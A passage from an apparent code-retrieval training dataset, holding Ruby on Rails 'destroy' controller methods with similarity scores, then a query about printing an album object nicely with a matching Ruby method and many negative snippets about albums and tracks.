t('activerecord.models.doc_type')) }\n format.json { head :no_content }\n end\n end", "def destroy\n @billcategory = Billcategory.find(params[:id])\n @billcategory.destroy\n\n respond_to do |format|\n format.html { redirect_to billcategories_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @fee_category.destroy\n respond_to do |format|\n format.html { redirect_to fee_categories_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @consumer_category = ConsumerCategory.find(params[:id])\n @consumer_category.destroy\n\n respond_to do |format|\n format.html { redirect_to consumer_categories_url }\n format.json { head :ok }\n end\n end", "def destroy\n @ledger_category.destroy\n respond_to do |format|\n format.html { redirect_to ledger_categories_url, notice: 'Ledger category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @category = Category.find(params[:id])\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: \"Journal was successfully deleted.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n category = Documents::Category.find(params[:id])\n category.destroy\n\n redirect_to categories_path\n end", "def destroy\n @schema_category.destroy\n respond_to do |format|\n format.html { redirect_to schema_categories_url, notice: 'Schema category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @category.destroy\n render json: { notice: 'Categoria eliminada exitosamente' }\n end", "def delete_category(name)\n data_array = JSON.parse(File.read(File_path))\n category_item = find_category(name)\n data_array.delete(category_item)\n File.open(File_path, 'w') { |f| f.write(data_array.to_json) }\nend", "def destroy\n @accolade_category.destroy\n respond_to do |format|\n format.html { redirect_to admin_accolade_categories_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to backend_shop_branch_categories_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @company_category.destroy\n respond_to do |format|\n format.html { redirect_to company_categories_url, notice: 'Company category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @confection.destroy\n respond_to do |format|\n format.html { redirect_to confections_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @category = current_mall.categories.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to api_wmall_categories_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @section_category = SectionCategory.find(params[:id])\n @section_category.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end", "def destroy\n IndicatorCategory.delete_hack(params[:id])\n\n respond_to do |format|\n format.html { redirect_to indicator_categories_url }\n format.json { head :ok }\n end\n end", "def destroy\n @category.destroy\n head :no_content\n end", "def destroy\n @cate_item = CateItem.find(params[:id])\n @cate_item.destroy\n\n respond_to do |format|\n format.html { redirect_to '/cate_items' }\n format.json { head :no_content }\n end\n end", "def destroy\n @rcadmin_category.destroy\n respond_to do |format|\n flash[:notice] = 'Category was successfully deleted.'\n format.html { redirect_to rcadmin_categories_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ca.destroy\n respond_to do |format|\n format.html { redirect_to cas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @desserts_category.destroy\n respond_to do |format|\n format.html { redirect_to desserts_categories_url}\n format.json { head :no_content }\n end\n end", "def destroy\n \t\n @companydocument = Companydocument.find(params[:id])\n @companydocument.destroy\n\n respond_to do |format|\n format.html { redirect_to companydocuments_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @cfct.destroy\n respond_to do |format|\n format.html { redirect_to cfcts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @cdocument.destroy\n respond_to do |format|\n format.html { redirect_to cdocuments_url, notice: 'Cdocument was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n respond_to do |format|\n if @category.documents.empty?\n @category.destroy\n format.html { redirect_to categories_url, notice: 'Категория была удалена.' }\n else\n logger.info 'else'\n format.html { redirect_to categories_url, :flash => {:error => 'Нельзя удалять категорию, у нее есть связанные документы.'} }\n end\n end\n end", "def destroy\n @standard_category.destroy\n respond_to do |format|\n format.html { redirect_to course_standard_categories_url(@course), notice: 'Standard category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @definition_category_association = DefinitionCategoryAssociation.find(params[:id])\n @definition_category_association.destroy\n\n respond_to do |format|\n format.html { redirect_to(definition_category_associations_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @adcategory.destroy\n respond_to do |format|\n format.html { redirect_to adcategories_url }\n format.json { head :no_content }\n end\n end", "def cfa_delete\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : Entered in cfa titles cfa_delete method\"\n begin\n id=params[\"format\"] \n cfa=RestClient.delete $api_service+'/cfa_titles/'+id\n rescue =>e\n Rails.logger.custom_log.error { \"#{e} Cfa controller delete method\" }\n end\n redirect_to action: \"index\"\n end", "def destroy\n @admin_category.destroy\n respond_to do |format|\n format.html { redirect_to admin_categories_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to cm_post_categories_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @template_cate.destroy\n respond_to do |format|\n format.html { redirect_to template_cates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to admin_good_categories_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @small_concert.destroy\n respond_to do |format|\n format.html { redirect_to '/admin/small_concerts' }\n format.json { head :no_content }\n end\n end", "def destroy\n @categorization = Categorization.find(params[:id])\n @categorization.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_categorizations_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @cash_collection.destroy\n respond_to do |format|\n format.html { redirect_to cash_collections_url, notice: 'Cash collection was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @exhibitior_category = ExhibitiorCategory.find(params[:id])\n @exhibitior_category.destroy\n\n respond_to do |format|\n format.html { redirect_to exhibitior_categories_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @cetegory.destroy\n respond_to do |format|\n format.html { redirect_to cetegories_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @word_content_category.destroy\n respond_to do |format|\n format.html { redirect_to word_content_categories_url, notice: 'Word content category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @course_category = CourseCategory.find(params[:id])\n @course_category.destroy\n\n respond_to do |format|\n format.html { redirect_to course_categories_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @doc.destroy\n respond_to do |format|\n format.html { redirect_to docs_url, notice: 'Документ был удалён' }\n format.json { head :no_content }\n end\n end", "def destroy\n @clinicalsection = Clinicalsection.find(params[:id])\n @clinicalsection.destroy\n\n respond_to do |format|\n format.html { redirect_to clinicalsections_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @consumable.destroy\n respond_to do |format|\n format.html { redirect_to consumables_url, notice: 'Consumable was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @consumable.destroy\n respond_to do |format|\n format.html { redirect_to consumables_url, notice: \"Consumable was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @tucdoc.destroy\n respond_to do |format|\n format.html { redirect_to tucdocs_url, notice: 'Tucdoc was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @business_category = BusinessCategory.find(params[:id])\n @business_category.destroy\n\n respond_to do |format|\n format.html { redirect_to(business_categories_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @category = Category.find(params[:id])\n begin\n @category.destroy\n rescue ActiveRecord::DeleteRestrictionError\n error = 'Эта категория не может быть удалена, пока с ней связан хоть один файл.'\n ensure\n respond_to do |format|\n format.html { redirect_to categories_url, notice: error }\n format.json { head :ok }\n end\n end\n end", "def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_scenic_spots_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ca = Ca.find(params[:id])\n @ca.destroy\n\n respond_to do |format|\n format.html { redirect_to cas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @catagory.destroy\n respond_to do |format|\n format.html { redirect_to back_catagories_url, notice: I18n.t('view.notice.deleted') }\n format.json { head :no_content }\n end\n end", "def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to admin_categories_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @cms_blog_category.destroy\n respond_to do |format|\n format.html { redirect_to cms_admin_blog_categories_url, notice: 'Blog category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @internal_category.destroy\n respond_to do |format|\n format.html { redirect_to brands_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @link_category.destroy\n respond_to do |format|\n format.html { redirect_to link_categories_url, notice: 'Link category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def category_delete\n @finance_category = FinanceTransactionCategory.find(params[:id])\n @finance_category.update_attributes(:deleted => true)\n @categories = FinanceTransactionCategory.all(:conditions => {:deleted => false}, :order => 'name asc')\n @category_ids = @categories.map { |cat| cat.id if FinanceTransaction.find_by_category_id(cat.id).present? }.compact\n @fixed_categories = @categories.reject { |c| !c.is_fixed }\n @other_categories = @categories.reject { |c| c.is_fixed }\n @multi_config = FinanceTransactionCategory.get_multi_configuration\n end", "def destroy\n @categoria = Categoria.find(params[:id])\n @categoria.destroy\n\n respond_to do |format|\n format.html { redirect_to categoria_index_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @case_doc.destroy\n respond_to do |format|\n format.html { redirect_to case_docs_url, notice: 'Case doc was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\r\n @receipt_category.destroy\r\n respond_to do |format|\r\n format.html { redirect_to receipt_categories_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_categories_path, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @b_category = BCategory.find(params[:id])\n @b_category.destroy\n\n respond_to do |format|\n format.html { redirect_to b_categories_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @glo_collection.destroy\n respond_to do |format|\n format.html { redirect_to glo_collections_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @mk_categoria.destroy\n respond_to do |format|\n format.html { redirect_to mk_categories_url, notice: 'Mk categoria was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @doc_ponto_comer.destroy\n respond_to do |format|\n format.html { redirect_to doc_ponto_comers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @incidentcategory.destroy\n respond_to do |format|\n format.html { redirect_to incidentcategories_url, notice: 'Incidentcategory was successfully destroyed.' }\n format.json { head :no_content }\n end\n end" ]
[ "0.6751191", "0.6737136", "0.6669458", "0.66687363", "0.6652359", "0.6650014", "0.66235083", "0.6591029", "0.6556768", "0.65394855", "0.65357304", "0.6524285", "0.65047705", "0.65026826", "0.6485148", "0.64774173", "0.6464808", "0.64556545", "0.6451928", "0.6448894", "0.64394736", "0.64291805", "0.64275444", "0.64192075", "0.6417095", "0.6416427", "0.6413311", "0.64079213", "0.6406444", "0.6388898", "0.6387224", "0.63869923", "0.63825446", "0.63804954", "0.6380214", "0.63736504", "0.63616806", "0.6352985", "0.6350559", "0.63505554", "0.6346329", "0.63449335", "0.6344756", "0.6336384", "0.63362765", "0.6335611", "0.6332505", "0.6325569", "0.6320865", "0.63201284", "0.63186336", "0.6306113", "0.630575", "0.63042283", "0.63019717", "0.63003224", "0.62967634", "0.62919176", "0.62854064", "0.62772775", "0.6274017", "0.6273572", "0.6271216", "0.6269862", "0.6267351", "0.6265089", "0.6262303", "0.62600493", "0.6255923", "0.62522346", "0.6249852", "0.6248869", "0.6248312", "0.6244624", "0.62347", "0.6232705", "0.6229287", "0.6228373", "0.6224954", "0.6224735", "0.6222801", "0.6219396", "0.6217728", "0.6214615", "0.6213695", "0.62122756", "0.62084514", "0.6208076", "0.6207554", "0.62073696", "0.62070656", "0.620269", "0.6196655", "0.61956537", "0.6188809", "0.6188574", "0.61818594", "0.61802685", "0.617983", "0.61738" ]
0.8030113
0
Method that prints out the contents of an album object nicely.
def to_s puts "The album #{@name} by #{@artist}. \n" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def print_album album\n\tputs 'Album Title: ' + album.title\n\tputs 'Album Artist: ' + album.artist\n\tputs 'Album Genre: ' + album.genre\n\tputs ''\n\tputs 'Tracks: '\n\tprint_tracks(album.tracks)\nend", "def print_album album\n\tputs '*********************************************'\n\tputs 'Album Title: ' + album.title\n\tputs 'Album Artist: ' + album.artist\n\tputs 'Genre: ' + album.genre\n\tputs ''\n\tprint_tracks(album.tracks)\nend", "def print_album(album)\n \n\t# print out all the albums fields/attributes\n\t# Complete the missing code.\n\t puts album.artist\n\t puts album.title\n\t puts('Genre is ' + album.genre.to_s)\n\t puts($genre_names[album.genre.to_i])\n\t # print out the tracks\n\t print_tracks(album.tracks)\n\t \n \n end", "def print_album album\n\tputs 'Title is ' + album.title.to_s\n\tputs 'Artist is ' + album.artist.to_s\n\tputs 'Genre is ' + $genre_names[album.genre]\n\t# print out the tracks\n\tprint_tracks(album.tracks)\nend", "def print_album album\n puts('Album information is: ')\n # insert lines here\n puts 'Artist is ' + album.title.to_s\n puts 'Album is ' + album.artist.to_s\n\tputs 'Genre is ' + album.genre.to_s\n\tputs $genre_names[album.genre]\nend", "def print_albums_info albums\n\tsystem \"clear\" or system \"cls\"\n\tputs add_space(' Albums').colorize(:color => :white, :background => :blue)\n\ti = 0\n\twhile i < albums.length\n\t\talbum = albums[i]\n\t\tid = ' Album ID: ' + album.id.to_s\n\t\tgenre = ' -= ' + album.genre + ' =-'\n\t\ttitle = ' > ' + album.title + ' by ' + album.artist\n\t\tputs add_space(' ').colorize(:color => :black, :background => :white)\n\t\tputs add_space(id).colorize(:color => :black, :background => :white)\n\t\tputs add_space(genre).colorize(:color => :red, :background => :white)\n\t\tputs add_space(title).colorize(:color => :red, :background => :white)\n\t\ti+=1\n\tend\n\tread_string(\"Press ENTER to continue.... \")\n\tsystem \"clear\" or system \"cls\"\nend", "def print_album album\r\n\tputs album.title\r\n\tputs album.artist\r\n\tputs 'Genre is ' + album.genre.to_s\r\n\tputs $genre_names[album.genre]\r\n\tprint_tracks(album.tracks)\r\nend", "def print_album album\n puts 'Album Artist is ' + album.artist.to_s\n puts 'Album Title is ' + album.title.to_s\n puts 'Genre is ' + album.genre.to_s\n puts $genre_names[album.genre]\n print_tracks(album.tracks)\nend", "def print_album album\n puts('Album information is: ')\n\t# insert lines here\n\tputs 'Genre is ' + album.genre.to_s\n\tputs $genre_names[album.genre]\nend", "def print_album album\n\n # print out all the albums fields/attributes\n # Complete the missing code.\n\n\tputs 'Genre is ' + album.genre.to_s\n\tputs $genre_names[album.genre]\n\t# print out the tracks\n\nend", "def print_contents\n\t\tputs \"Artist: %s\" % [@artist]\n\t\tputs \"Album: %s\" % [@title]\n\t\tputs \"Released: %s\" % [@year]\n\n\t\tif @cd_count > 0\n\t\tputs \"CD(%d): %s\" % [@cd_count, @cd_id]\n\t\tend\n\n\t\tif @tape_count > 0\n\t\tputs \"Tape(%d): %s\" % [@tape_count, @tape_id]\n\t\tend\n\n\t\tif @vinyl_count > 0\n\t\tputs \"Vinyl(%d): %s\" % [@vinyl_count, @vinyl_id]\n\t\tend\n\n\tend", "def to_s\n\t\tputs \"The album #{@name} by #{@artist}. \\n\"\n\tend", "def to_s\n\t\tputs \"The album #{@name} by #{@artist.join(\", \")}. \\n\"\n\tend", "def main\n\talbum = read_album()\n\tprint_album(album)\nend", "def main\n\talbum = read_album()\n\tprint_album(album)\nend", "def to_s\n\t\t\"The album #{@name} by #{@artist}. \\nAlbum length: #{@length} Number of tracks: #{@tracks.length} \\nOwners: #{@owners} \\n\"\n\tend", "def inspect\n \"#{@artist}: #{@track} (#{@album})\"\n end", "def print_songs\n songs.each { |song| puts \"#{song.name}\" }\n end", "def display_songs\n puts \"Your Discography\"\n songs.each do |song|\n puts \"* Artist: #{song.artist} - Song Name: #{song.title}\"\n end\n end", "def print_songs\n songs.each do |song|\n puts \"#{song.name}\"\n end\n end", "def info(options={})\n get(:standard, {:method => \"album.getInfo\"}.merge(options))\n end", "def print_songs\n songs.each {|song| puts song.name}\n end", "def print_songs\n self.songs.each{|song|\n puts song.name\n }\n end", "def print_songs\n @songs.each {|x| puts \"#{x.name}\\n\"}\n end", "def print_songs\n songs.each {|song| puts song.name}\n end", "def print_songs\n self.songs.each {|song| puts song.name}\n end", "def print_songs\n self.songs.each {|s| puts s.name}\n end", "def print_songs\n @songs.each {|song| puts song.name}\n end", "def print_songs\n @songs.each {|song| puts song.name}\n end", "def print_songs\n @songs.each do |song|\n puts song.name\n end\n end", "def print_songs\n songs.each {|song| puts song.name}\n end", "def list_albums\n output = ''\n @albums.sort.each { |a|\n output += a + \"\\n\"\n #puts a\n }\n return output\n end", "def print_songs\n @songs.each do |song|\n puts song.name\n end \n end", "def print_songs\n songs.each do |song|\n puts song.name\n end\n end", "def print_songs\n songs.each do |song|\n puts song.name\n end\n end", "def show\n\t\t@album = Album.find(params[:id])\n\tend", "def print_songs\n songs.each do |song|\n print song.name + \"\\n\"\nend \nend", "def main()\n\t music_file = File.new(\"album.txt\", \"r\")\n\t album = read_album(music_file)\n\t music_file.close()\n\t print_album(album)\n end", "def print_songs\n puts @songs.collect {|song| song.name}\n end", "def print_albums albums\r\n\ttimes = albums.length\r\n\tindex = 0\r\n\twhile (index < times)\r\n\t\tprint_album(albums[index])\r\n\t\tindex += 1\r\n\tend\r\nend", "def main\n music_file = File.new(\"album.txt\", \"r\")\n\talbum = read_album(music_file)\n music_file.close()\n\n\tprint_album(album)\nend", "def print_songs\n self.songs.each.do |song|\n puts song.name\n end", "def show\n @album = current_account.albums.find(params[:id])\n @page_title = @album.name\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @album }\n end\n end", "def album\n @ole.Album\n end", "def print_track track\n\t\tputs('Title: ' + track.name.to_s)\n \tputs('File location: ' + track.location.to_s)\nend", "def main\r\n puts \"Welcome to the music player\"\r\n\talbums = read_albums()\r\n\tprint_albums(albums)\r\nend", "def show\n @album = @track.album\n @notes = @track.notes\n end", "def view_album_songs(album)\n album_title = album\n album_id = Album.find_by(title: album_title).id\n songs = Song.where(album_id: album_id).map{|song| song.name}\n puts \"**************************\"\n puts \"**************************\"\n prompt(\"#{album_title}'s songs\", songs)\n end", "def show\n @artist = @album.artist\n end", "def main\n puts \"Welcome to the music player\"\n\talbum = read_album()\n\tprint_album(album)\nend", "def display_album(name, spacing, box_height, margin, bar_width, color, button_name,i)\n box_width = bar_width - (margin * 2)\n font_size = 15\n top_seperator = 25\n name = truncate(name, 20)\n \n add_element(ELEMENT,margin,top_seperator + margin + spacing,box_width,box_height,color,TOP,button_name)\n add_element(FONT,margin + box_height + 10,top_seperator + (margin + (box_height / 2) - (font_size / 2)) + spacing,TOP,0.7,TEXT,\"txt_album_name\",name)\n add_element(IMAGE,margin,top_seperator + margin + spacing,box_height,box_height,IMAGE_COLOR,TOP,\"img_album_thumbnail\",@data_array[i].cover)\nend", "def print_songs \n songs.each {|song| puts song.name}\n end", "def print_track track\n puts('Track title is: ' + track.title)\n\tputs('Track file location is: ' + track.file_location)\nend", "def print_track track\n puts('Track title is: ' + track.title)\n\tputs('Track file location is: ' + track.file_location)\nend", "def print_track track\n puts('Track title is: ' + track.name)\n puts('Track file location is: ' + track.location)\nend", "def print_track track\n puts('Track title is: ' + track.track_title)\n\tputs('Track file location is: ' + track.track_location)\nend", "def show\n @user = User.find(@artist.user_id)\n @albums = @artist.albums\n end", "def print_track track\r\n\tputs('Track title is: ' + track.name)\r\n \tputs('Track file location is: ' + track.location)\r\nend", "def show\n @album = Album.find(params[:id])\n raise \"not found\" if @album.blank? \n @tracks = @album.tracks.all(:order => :tracknumber)\n @cover = @album.covers.first\n @comments = @album.comments.all(:order => :posted)\n rescue\n redirect_to artists_url, :notice => \"Can't find this album.\"\n end", "def print_track(track)\n puts('Track title is: ' + track.name)\n puts('Track file location is: ' + track.location)\n end", "def to_s\n tracks_html = @tracks.inject('') do |html, track|\n html += track.to_s\n end\n Template % [@album_title, tracks_html]\n end", "def print_tracks tracks\n\tputs 'Tracks: '\n\tfor i in 0...tracks.length do\n\t\ttrack = tracks[i]\n\t puts '*********************************************'\n\t puts '**************** Track No. ' + (i + 1).to_s + ' ****************'\n\t\tputs 'Track name: ' + track.name\n\t\tputs 'Track file location: ' + track.location\n\t\ti += 1\n\tend\nend", "def print_track(track)\n \tputs('Track title is: ' + track.title)\n\tputs('Track file location is: ' + track.file_location)\nend", "def show\n @album = Album.find(params[:id]) #find takes one id\n render :show\n end", "def print_track(track)\n\tputs('Track title is: ' + track.name)\n\tputs('Track file location is: ' + track.location)\n end", "def draw_albums(albums)\n i = 0\n x1 = 50\n y1 = 100\n x2 = 250\n y2 = 300\n while i < albums.length\n if i == 1\n x1 += 220\n x2 += 220\n elsif i == 2\n x1 = 50\n x2 = 250\n y1 += 220\n y2 += 220\n elsif i==3\n x1+=220\n x2+=220\n end \n albums[i].artfile.bmp.draw_as_quad(x1, y1, @image_color, x2, y1, @image_color, x1, y2, @image_color, x2, y2, @image_color,ZOrder::UI)\n i+=1\n end\n end", "def println obj\n echo(obj.to_s + \"\\n\")\n end", "def show\r\n @album = Album.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @album }\r\n end\r\n end", "def albums\n link :top_albums, :Album, name\n end", "def show\n @albums = @user.albums\n @followers = @user.followers\n @followees = @user.followees\n end", "def show\n @album_information = AlbumInformation.find(params[:id])\n end", "def show\n @albums = Artist.find(params[\"id\"]).albums\n end", "def get_album_info(album)\n info = UpcomingReleases::Scraper.scrape_info_page(ALBUM_URL + album.info_url)\n album.add_album_info(info)\n end", "def show\n @album = Album.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @album }\n end\n end", "def print_details\n puts \"#{self.reader.name} subscribed to #{self.magazine.title} for $#{self.price}\"\n end", "def show\n @album = Album.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @album }\n end\n end", "def print_details\n puts \"#{self.reader.name} subscribed to #{self.magazine.title} for $#{self.price}\"\n end", "def print_songs\n self.songs.each{|song| puts \"#{song.name}\"} \n #Artist.songs.each runs through the array of Artist songs and puts out the #songs name\nend", "def display_book_info(book)\n puts \"*\" * 20\n puts \"\"\n puts \"Title: \" + book[\"volumeInfo\"][\"title\"]\n puts \"Snippet: \" + book[\"searchInfo\"][\"textSnippet\"]\n puts \"\"\nend", "def show\n @album = Album.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @album }\n end\n end", "def show\n @album = Album.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @album }\n end\n end", "def show\n @album = Album.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @album }\n end\n end", "def albums(options={})\n call_pageable('library.getalbums', :albums, Album, {:user => @user.name}.merge(options))\n end", "def album_title\n if album\n album.title\n end\n end", "def get_album album_id\n get(\"/albums/#{album_id}\")\n end", "def show\n \n respond_to do |format|\n format.html # show.html.erb\n # format.xml { render :xml => {'album' => @photo_album.photos.first.inspect}}\n format.xml { render :xml => {'album' => @photo_album, 'photos' => @photo_album.photos}.to_xml(:root => 'photo-album', :skip_types => true)}\n end\n end", "def show\n @creator = @music_group.user\n @users = User.all\n @albums = @music_group.albums\n end", "def albums\n self.album\n end", "def show\n @album = Album.find(params[:id])\n render json: AlbumSerializer.new(@album)\n end", "def print_songs\n Song.all.each do |song|\n if song.artist == self \n puts song.name\n end \n end \n end", "def view_all_albums\n list_of_albums = []\n info_array = Album.all.each{|album| list_of_albums << album.title}.sort \n prompt(\"Albums: \", list_of_albums.sort)\n end", "def show\n @album_photo = AlbumPhoto.find_by(id: 3)\n end", "def show\n raise ArgumentError.new(\"There is no image\") if self.data == []\n (0...self.data.row_count).each do |i|\n puts self.data.row(i).to_a.join\n end\n end", "def print_songs\n song_names = []\n self.songs.collect {|song| song_names << song.name}\n puts song_names\n end", "def show\n @photo = Photo.find(params[:id])\n\t@album = Album.find(@photo.album_id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n @album = Album.find(@photo.album_id)\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @photo }\n end\n end", "def show\n require 'open-uri' #for screen scraping\n \n @album = Album.find(params[:id])\n @artists = @album.artists\n @sources = @album.sources\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @album }\n end\n \n #adding in automation functionality\n # if @album.catalognumber.blank? == true \n # url = @album.reference\n # if url.split('/')[2] == \"vgmdb.net\"\n # doc = Nokogiri::HTML(open(url))\n # @catalognum = doc.xpath(\"//table[@id='album_infobit_large']//tr[1]//td[2]\").text\n # @album.catalognumber = @catalognum.split(' ')[0]\n # @album.save\n # end\n # end\n\n end", "def display_book\n\t\tputs \"Author: #@author, Title: #@title, Publisher: #@publisher, Year: #@year, Location: Shelf: #@shelf_num\"\n\tend", "def show\n @albumm = Albumm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @albumm }\n end\n end", "def to_log(items)\n\t\tlog_line = \"#{@log_lines.length}: #{items[0][:album_artist]} - \" +\n\t\t\t\"#{items[0][:album_title]}\"\n\t\tputs log_line if @verbose == true\n\t\tlog_line\n\tend" ]
[ "0.82961124", "0.82895875", "0.8070043", "0.80140465", "0.77267736", "0.7574771", "0.752466", "0.74853665", "0.74372077", "0.7381095", "0.7185317", "0.7158004", "0.6993709", "0.6963334", "0.6963334", "0.683148", "0.6743212", "0.6369995", "0.6368002", "0.6327267", "0.6311159", "0.6307756", "0.6304265", "0.63038456", "0.63033456", "0.6287677", "0.6285239", "0.62802577", "0.62802577", "0.62626034", "0.62412703", "0.62247413", "0.62232065", "0.62226737", "0.62226737", "0.6213398", "0.6168843", "0.6127204", "0.612488", "0.6109277", "0.61058134", "0.6073556", "0.6071051", "0.6050662", "0.60258424", "0.6001739", "0.5986479", "0.5981798", "0.59731615", "0.5948921", "0.59197307", "0.5918572", "0.5916589", "0.5916589", "0.5871842", "0.5858942", "0.5847678", "0.5846053", "0.5845675", "0.5836157", "0.58343846", "0.5832656", "0.580662", "0.5805807", "0.5789007", "0.5787476", "0.5778987", "0.57738185", "0.57715267", "0.5767156", "0.5763844", "0.574601", "0.5718374", "0.5709306", "0.5706825", "0.5705887", "0.57051396", "0.57024354", "0.57021147", "0.57020247", "0.57020247", "0.57020247", "0.5698613", "0.5690278", "0.56732225", "0.5672264", "0.56668913", "0.565809", "0.56503713", "0.5640435", "0.5638208", "0.562098", "0.5617874", "0.5613444", "0.5596215", "0.5593251", "0.55847925", "0.558129", "0.55613184", "0.553967" ]
0.7086706
12
Method that checks if an object given to it is an album.
def isa? instance_of?(Album) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def isa?\n\t\tinstance_of?(Album)\n\tend", "def album_unique?(album_object, artist_object)\n\n albums = self.albums.select{|album| album.artist.present?}\n non_nil_albums = albums.select{|album| album.artist.name == artist_object.name} << album_object.name\n non_nil_albums.length == non_nil_albums.uniq.length\n end", "def album\n track && track.album\n end", "def match_type(album_type)\n album_type == AlbumTypes::LIKED_USERS_ALBUMS_PUBLIC\n end", "def available?\n Spotify.album_is_available(pointer)\n end", "def all_same_album?(tags)\n all_same_tag?(tags, :album)\n end", "def top_photo?\n if self.albums.length >= 3\n true\n else\n false\n end\n end", "def album\n\t\talbums == nil ? nil : albums.first\n\tend", "def album\n alb = super\n if alb.nil?\n alb = Album.new\n alb.title = \"Unknown Album\"\n end\n alb\n end", "def album_name\n album ? album.name : ''\n end", "def album\r\n #prepare_new_album extracted for reuse from spec\r\n prepare_new_album unless @content\r\n end", "def album(value)\n @ole.Album = value\n nil\n end", "def requires_public_permissions?\r\n in_inbox? || (self.is_a?(Album) && album_item_in_inbox?)\r\n end", "def album!(options = {})\n user.album!(options)\n end", "def album!(options = {})\n user.album!(options)\n end", "def amg_album(id, options={})\n perform_lookup('amgAlbumId', id, options)\n end", "def loaded?\n Spotify.album_is_loaded(pointer)\n end", "def album\n @ole.Album\n end", "def album_by_title(title, options = {})\n if a = user.albums.find { |a| title === a.title }\n a.load options\n end\n end", "def name\n albums = tracks.map{|t| t.album}.compact\n albums.uniq.size == 1 and albums.first\n end", "def album(album_id_or_url, options = {})\n options = make_options(:album_id, album_id_or_url, options)\n get(options)\n end", "def album(albid)\n if File.exists?(path = _(albid))\n {:albid => albid, :name => albid, :path => cut_path(path)}\n else\n raise Error, \"No such album #{albid}\"\n end\n end", "def part_of_gapless_album\n @ole.PartOfGaplessAlbum\n end", "def fetch_album(album_id)\n raise NotImplementedError(\"Subclasses should implement this!\")\n end", "def target_albums(picture)\n self.albums.reject{ |album| album.pictures.include?(picture) }\n end", "def find_album(args)\n search = AlbumSearch.new(args)\n response = APIRequest.post(search.query, Configuration.instance.api_url(@format))\n parse_response(response)\n end", "def picasa_albums(user, picasa_user_id=nil)\n return [] unless user.picasa_identity\n picasa = user.picasa_client\n user_data = picasa.user(picasa_user_id) \n albums = []\n unless user_data.nil?\n user_data.albums.select{|a| a.numphotos.to_i > 0}.each do |a|\n albums << {\n 'aid' => a.id,\n 'name' => a.title,\n 'cover_photo_src' => a.thumbnails.first.url\n }\n end\n end\n return albums\n end", "def owner?(photo)\n !photo.nil? && photo.owner == current_user\n end", "def set_album\n @album = 